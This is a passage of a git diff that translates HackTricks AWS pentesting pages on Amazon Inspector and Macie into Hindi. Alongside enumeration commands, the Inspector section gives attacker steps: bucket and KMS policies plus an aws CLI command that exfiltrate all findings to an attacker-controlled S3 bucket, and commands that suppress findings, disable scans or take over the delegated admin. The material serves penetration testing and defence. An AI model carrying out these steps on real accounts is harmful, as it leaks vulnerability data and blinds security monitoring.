एजेंट स्थापित करने की आवश्यकता नहीं होती है, EC2 उदाहरण के प्रत्येक वॉल्यूम का EBS स्नैपशॉट बनाता है, भेद्यताओं की तलाश करता है, और फिर इसे हटा देता है; स्कैनिंग के लिए मौजूदा AWS अवसंरचना का लाभ उठाता है। -The scan mode determines which method will be used to perform EC2 scans: +स्कैन मोड यह निर्धारित करता है कि EC2 स्कैन करने के लिए कौन सी विधि का उपयोग किया जाएगा: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Agent-Based**: गहन निरीक्षण के लिए EC2 उदाहरणों पर SSM एजेंट स्थापित करना शामिल है। +- **Hybrid Scanning**: कवरेज को अधिकतम करने और प्रदर्शन प्रभाव को कम करने के लिए एजेंट-आधारित और एजेंटलेस विधियों को संयोजित करता है। उन EC2 उदाहरणों में जहां SSM एजेंट स्थापित है, Inspector एजेंट-आधारित स्कैन करेगा, और जहां कोई SSM एजेंट नहीं है, वहां स्कैन एजेंटलेस किया जाएगा। -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह सुविधा EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथों को परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक: - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspector Amazon Elastic Container Registry (ECR) कंटेनर छवियों के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है, यह सुनिश्चित करते हुए कि पैकेज भेद्यताएँ प्रभावी ढंग से पहचानी और प्रबंधित की जाती हैं। -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Basic Scanning**: यह एक त्वरित और हल्का स्कैन है जो कंटेनर छवियों में ज्ञात OS पैकेज भेद्यताओं की पहचान करता है, जो ओपन-सोर्स Clair प्रोजेक्ट से मानक नियमों के सेट का उपयोग करता है। इस स्कैनिंग कॉन्फ़िगरेशन के साथ, आपके रिपॉजिटरी को पुश पर स्कैन किया जाएगा, या मैनुअल स्कैन करते समय। +- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की पहचान की जा सके, उच्च सटीकता के साथ। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है। #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspector AWS Lambda कार्यों और इसकी परतों के लिए व्यापक स्कैनिंग क्षमताएँ शामिल करता है, जो सर्वर रहित अनुप्रयोगों की सुरक्षा और अखंडता सुनिश्चित करता है। Inspector Lambda कार्यों के लिए दो प्रकार की स्कैनिंग प्रदान करता है: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Lambda standard scanning**: यह डिफ़ॉल्ट सुविधा आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य python-jwt जैसे पुस्तकालय के एक संस्करण का उपयोग करता है जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है। +- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट्स को कैप्चर करता है, जैसे कि हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में समस्या को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट्स शामिल हैं। #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspector CIS स्कैन शामिल करता है ताकि Amazon EC2 उदाहरण ऑपरेटिंग सिस्टम को Center for Internet Security (CIS) से सर्वश्रेष्ठ प्रथा सिफारिशों के खिलाफ बेंचमार्क किया जा सके। ये स्कैन सुनिश्चित करते हैं कि कॉन्फ़िगरेशन उद्योग-मानक सुरक्षा बुनियादी बातों का पालन करते हैं। -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuration**: CIS स्कैन यह मूल्यांकन करते हैं कि क्या सिस्टम कॉन्फ़िगरेशन विशिष्ट CIS बेंचमार्क सिफारिशों को पूरा करते हैं, प्रत्येक जांच को एक CIS जांच ID और शीर्षक से जोड़ा जाता है। +- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या निर्धारित किए जाते हैं। +- **Results**: स्कैन के बाद के परिणाम यह संकेत करते हैं कि कौन सी जांच पास, स्किप, या फेल हुई, प्रत्येक उदाहरण की सुरक्षा स्थिति में अंतर्दृष्टि प्रदान करते हैं। ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,101 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - ### Post Exploitation > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> हमलावर के दृष्टिकोण से, यह सेवा हमलावर को कमजोरियों और नेटवर्क एक्सपोजर को खोजने में मदद कर सकती है जो उसे अन्य इंस्टेंस/कंटेनरों को समझौता करने में मदद कर सकती है। > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि पीड़ित कमजोरियों (सभी या विशिष्ट) को न देख सके। #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमलों को सक्षम किया जा सके। ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` - The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **एक Amazon S3 बकेट बनाएं** और इसे एक नीति संलग्न करें ताकि यह पीड़ित Amazon Inspector से सुलभ हो: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **एक Amazon KMS कुंजी बनाएं** और इसे पीड़ित के Amazon Inspector द्वारा उपयोग करने के लिए एक नीति संलग्न करें: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. **खोज रिपोर्ट** बनाने के लिए कमांड निष्पादित करें, इसे एक्सफिल्ट्रेट करते हुए: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **संभावित प्रभाव**: विस्तृत कमजोरियों और सॉफ़्टवेयर रिपोर्टों की पीढ़ी और निकासी, विशिष्ट कमजोरियों और सुरक्षा कमजोरियों के बारे में अंतर्दृष्टि प्राप्त करना। #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +एक हमलावर निर्दिष्ट निष्कर्ष रिपोर्ट या SBOM रिपोर्ट की पीढ़ी को रद्द कर सकता है, सुरक्षा टीमों को कमजोरियों और सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) के बारे में समय पर जानकारी प्राप्त करने से रोकता है, सुरक्षा मुद्दों की पहचान और सुधार में देरी करता है। ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **संभावित प्रभाव**: सुरक्षा निगरानी में बाधा और सुरक्षा मुद्दों की समय पर पहचान और सुधार की रोकथाम। #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकेगा जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाने वाला नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को बाढ़ में डालकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है। ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +285,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **संभावित प्रभाव**: महत्वपूर्ण कमजोरियों का छिपाना या दबाना, या प्रणाली को अप्रासंगिक निष्कर्षों से भरना। #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +एक हमलावर सुरक्षा प्रबंधन संरचना को महत्वपूर्ण रूप से बाधित कर सकता है। -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- प्रतिनिधि प्रशासनिक खाता बंद करने पर, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्टों तक पहुँचने और प्रबंधित करने से रोक सकता है। +- एक अनधिकृत प्रशासनिक खाता सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को बंद करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके। > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> अनधिकृत खाता को प्रतिनिधि प्रशासक बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है। > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> अनधिकृत खाता को प्रतिनिधि प्रशासक बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासक को बंद किया जाए, और अनधिकृत खाता को प्रतिनिधि प्रशासक के रूप में सक्षम करने से पहले, वैध प्रशासक को संगठन से प्रतिनिधि प्रशासक के रूप में हटा दिया जाए। इसे निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **संभावित प्रभाव**: सुरक्षा प्रबंधन में विघटन। #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +एक हमलावर Amazon Inspector संगठन के भीतर सदस्य खातों के संघ को हेरफेर कर सकता है। अनधिकृत खातों को जोड़कर या वैध खातों को अलग करके, एक हमलावर यह नियंत्रित कर सकता है कि कौन से खाते सुरक्षा स्कैन और रिपोर्टिंग में शामिल हैं। इससे महत्वपूर्ण खातों को सुरक्षा निगरानी से बाहर रखा जा सकता है, जिससे हमलावर उन खातों में कमजोरियों का लाभ उठाने में सक्षम हो सकता है बिना किसी पहचान के। > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> यह क्रिया प्रतिनिधि प्रशासक द्वारा की जानी चाहिए। ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों का बहिष्कार, कमजोरियों के अज्ञात शोषण की अनुमति देना। #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +`inspector2:Disable` अनुमति वाला एक हमलावर विशिष्ट संसाधन प्रकारों (EC2, ECR, Lambda, Lambda कोड) पर सुरक्षा स्कैन को निष्क्रिय करने में सक्षम होगा, निर्दिष्ट खातों के माध्यम से, AWS वातावरण के कुछ हिस्सों को बिना निगरानी और हमलों के प्रति संवेदनशील छोड़ देगा। इसके अलावा, **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** अनुमतियों के कारण, एक हमलावर फिर से चयनात्मक रूप से स्कैन को पुनः सक्षम कर सकता है ताकि संदिग्ध कॉन्फ़िगरेशन का पता न चले। > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> यह क्रिया प्रतिनिधि प्रशासक द्वारा की जानी चाहिए। ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **संभावित प्रभाव**: सुरक्षा निगरानी में अंधे स्थानों का निर्माण। #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +इस अनुमति के साथ एक हमलावर आपके Amazon Inspector संगठन के लिए कॉन्फ़िगरेशन को अपडेट करने में सक्षम होगा, जो नए सदस्य खातों के लिए सक्षम डिफ़ॉल्ट स्कैनिंग सुविधाओं को प्रभावित करेगा। > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> यह क्रिया प्रतिनिधि प्रशासक द्वारा की जानी चाहिए। ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **संभावित प्रभाव**: संगठन के लिए सुरक्षा स्कैन नीतियों और कॉन्फ़िगरेशन को बदलें। #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +एक हमलावर AWS Inspector संसाधनों पर टैग को हेरफेर कर सकता है, जो सुरक्षा आकलनों को व्यवस्थित, ट्रैक और स्वचालित करने के लिए महत्वपूर्ण हैं। टैग को बदलकर या हटाकर, एक हमलावर संभावित रूप से सुरक्षा स्कैन से कमजोरियों को छिपा सकता है, अनुपालन रिपोर्टिंग में बाधा डाल सकता है, और स्वचालित सुधार प्रक्रियाओं में हस्तक्षेप कर सकता है, जिससे अनियंत्रित सुरक्षा मुद्दे और प्रणाली की अखंडता से समझौता हो सकता है। ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **संभावित प्रभाव**: कमजोरियों को छिपाना, अनुपालन रिपोर्टिंग में बाधा, सुरक्षा स्वचालन में बाधा और लागत आवंटन में बाधा। -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## संदर्भ - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..8ea1939b8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie एक सेवा के रूप में उभरता है जो **स्वचालित रूप से डेटा का पता लगाने, वर्गीकृत करने और पहचानने** के लिए डिज़ाइन की गई है जो एक AWS खाते के भीतर है। यह **मशीन लर्निंग** का उपयोग करता है ताकि डेटा की निरंतर निगरानी और विश्लेषण किया जा सके, मुख्य रूप से **क्लाउड ट्रेल इवेंट** डेटा और उपयोगकर्ता व्यवहार पैटर्न की जांच करके असामान्य या संदिग्ध गतिविधियों का पता लगाने और अलर्ट करने पर ध्यान केंद्रित करता है। -Key Features of Amazon Macie: +Amazon Macie की प्रमुख विशेषताएँ: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **सक्रिय डेटा समीक्षा**: AWS खाते के भीतर विभिन्न क्रियाओं के दौरान सक्रिय रूप से डेटा की समीक्षा करने के लिए मशीन लर्निंग का उपयोग करता है। +2. **असामान्य गतिविधि पहचान**: असामान्य गतिविधियों या पहुंच पैटर्न की पहचान करता है, संभावित डेटा एक्सपोज़र जोखिमों को कम करने के लिए अलर्ट उत्पन्न करता है। +3. **निरंतर निगरानी**: Amazon S3 में नए डेटा की स्वचालित निगरानी और पहचान करता है, समय के साथ डेटा एक्सेस पैटर्न के अनुकूलन के लिए मशीन लर्निंग और आर्टिफिशियल इंटेलिजेंस का उपयोग करता है। +4. **NLP के साथ डेटा वर्गीकरण**: विभिन्न डेटा प्रकारों को वर्गीकृत और व्याख्या करने के लिए प्राकृतिक भाषा प्रसंस्करण (NLP) का उपयोग करता है, खोजों को प्राथमिकता देने के लिए जोखिम स्कोर असाइन करता है। +5. **सुरक्षा निगरानी**: सुरक्षा-संवेदनशील डेटा की पहचान करता है, जिसमें API कुंजी, गुप्त कुंजी, और व्यक्तिगत जानकारी शामिल है, डेटा लीक को रोकने में मदद करता है। -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie एक **क्षेत्रीय सेवा** है और कार्यक्षमता के लिए 'AWSMacieServiceCustomerSetupRole' IAM Role और सक्षम AWS CloudTrail की आवश्यकता होती है। -### Alert System +### अलर्ट प्रणाली -Macie categorizes alerts into predefined categories like: +Macie अलर्ट को पूर्वनिर्धारित श्रेणियों में वर्गीकृत करता है जैसे: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation -- Ransomware -- Suspicious access, etc. +- अनामित पहुंच +- डेटा अनुपालन +- क्रेडेंशियल हानि +- विशेषाधिकार वृद्धि +- रैंसमवेयर +- संदिग्ध पहुंच, आदि। -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +ये अलर्ट प्रभावी प्रतिक्रिया और समाधान के लिए विस्तृत विवरण और परिणाम विभाजन प्रदान करते हैं। -### Dashboard Features +### डैशबोर्ड विशेषताएँ -The dashboard categorizes data into various sections, including: +डैशबोर्ड डेटा को विभिन्न अनुभागों में वर्गीकृत करता है, जिसमें शामिल हैं: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- S3 ऑब्जेक्ट (समय सीमा, ACL, PII द्वारा) +- उच्च-जोखिम क्लाउडट्रेल इवेंट/उपयोगकर्ता +- गतिविधि स्थान +- क्लाउडट्रेल उपयोगकर्ता पहचान प्रकार, और अधिक। -### User Categorization +### उपयोगकर्ता वर्गीकरण -Users are classified into tiers based on the risk level of their API calls: +उपयोगकर्ताओं को उनके API कॉल के जोखिम स्तर के आधार पर स्तरों में वर्गीकृत किया जाता है: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **प्लैटिनम**: उच्च-जोखिम API कॉल, अक्सर प्रशासनिक विशेषाधिकार के साथ। +- **गोल्ड**: अवसंरचना से संबंधित API कॉल। +- **सिल्वर**: मध्यम-जोखिम API कॉल। +- **ब्रॉन्ज**: निम्न-जोखिम API कॉल। -### Identity Types +### पहचान प्रकार -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +पहचान प्रकारों में रूट, IAM उपयोगकर्ता, अनुमोदित भूमिका, संघीय उपयोगकर्ता, AWS खाता, और AWS सेवा शामिल हैं, जो अनुरोधों के स्रोत को इंगित करते हैं। -### Data Classification +### डेटा वर्गीकरण -Data classification encompasses: +डेटा वर्गीकरण में शामिल हैं: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- सामग्री-प्रकार: पहचान की गई सामग्री प्रकार के आधार पर। +- फ़ाइल एक्सटेंशन: फ़ाइल एक्सटेंशन के आधार पर। +- विषय: फ़ाइलों के भीतर कीवर्ड के द्वारा वर्गीकृत। +- Regex: विशिष्ट regex पैटर्न के आधार पर वर्गीकृत। -The highest risk among these categories determines the file's final risk level. +इन श्रेणियों में सबसे उच्च जोखिम फ़ाइल के अंतिम जोखिम स्तर को निर्धारित करता है। -### Research and Analysis +### अनुसंधान और विश्लेषण -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. +Amazon Macie का अनुसंधान कार्य सभी Macie डेटा के लिए गहन विश्लेषण के लिए कस्टम क्वेरी की अनुमति देता है। फ़िल्टर में क्लाउडट्रेल डेटा, S3 बकेट गुण, और S3 ऑब्जेक्ट शामिल हैं। इसके अलावा, यह अन्य खातों को Amazon Macie साझा करने के लिए आमंत्रित करने का समर्थन करता है, सहयोगात्मक डेटा प्रबंधन और सुरक्षा निगरानी को 